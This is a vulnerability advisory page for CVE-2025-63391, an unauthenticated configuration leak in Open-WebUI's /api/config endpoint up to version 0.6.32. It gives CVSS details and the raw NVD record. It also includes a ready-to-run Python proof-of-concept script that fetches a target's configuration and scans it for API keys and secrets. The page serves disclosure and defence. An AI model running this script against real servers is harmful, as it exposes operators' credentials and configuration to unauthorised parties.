Security Vulnerability Report
中文
CVE-2025-63391 CVSS 7.5 HIGH

CVE-2025-63391

Published: 2025-12-18 16:15:55
Last Modified: 2026-01-22 18:16:44

Description

An authentication bypass vulnerability exists in Open-WebUI <=0.6.32 in the /api/config endpoint. The endpoint lacks proper authentication and authorization controls, exposing sensitive system configuration data to unauthenticated remote attackers.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:* - VULNERABLE
Open-WebUI <= 0.6.32

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-63391 PoC - Open-WebUI Authentication Bypass # Target: Open-WebUI <= 0.6.32 # Endpoint: /api/config target_url = input("Enter target URL (e.g., http://target.com): ").strip() if not target_url.endswith('/'): target_url += '/' endpoint = "api/config" full_url = target_url + endpoint print(f"[*] Target URL: {full_url}") print(f"[*] Exploiting CVE-2025-63391...") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "application/json" } try: response = requests.get(full_url, headers=headers, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() print(f"[+] SUCCESS: Authentication bypassed!") print(f"[+] Received {len(json.dumps(data))} bytes of configuration data") print("\n[+] Configuration Data:") print(json.dumps(data, indent=2)) # Extract potentially sensitive fields sensitive_fields = ['OPENAI_API_KEY', 'DATABASE_URL', 'WEBUI_AUTH_SECRET', 'LDAP', 'SMTP', 'API_KEY', 'SECRET_KEY'] print("\n[+] Sensitive Information Found:") for field in sensitive_fields: if field.upper() in str(data).upper(): print(f" - {field}: <REDACTED>") else: print(f"[-] Failed: Status code {response.status_code}") print(f"[-] Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63391", "sourceIdentifier": "[email protected]", "published": "2025-12-18T16:15:54.983", "lastModified": "2026-01-22T18:16:44.400", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authentication bypass vulnerability exists in Open-WebUI <=0.6.32 in the /api/config endpoint. The endpoint lacks proper authentication and authorization controls, exposing sensitive system configuration data to unauthenticated remote attackers."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.6.32", "matchCriteriaId": "C8EC6A40-8B7B-4AA4-9F3A-7D5D7B017F14"}]}]}], "references": [{"url": "https://gist.github.com/Cristliu/13c41b97285b776275bc8bfd3504e51b", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gist.github.com/Cristliu/889471313b3c698fff74d32b7717807c", "source": "[email protected]"}, {"url": "https://github.com/open-webui/open-webui/issues", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}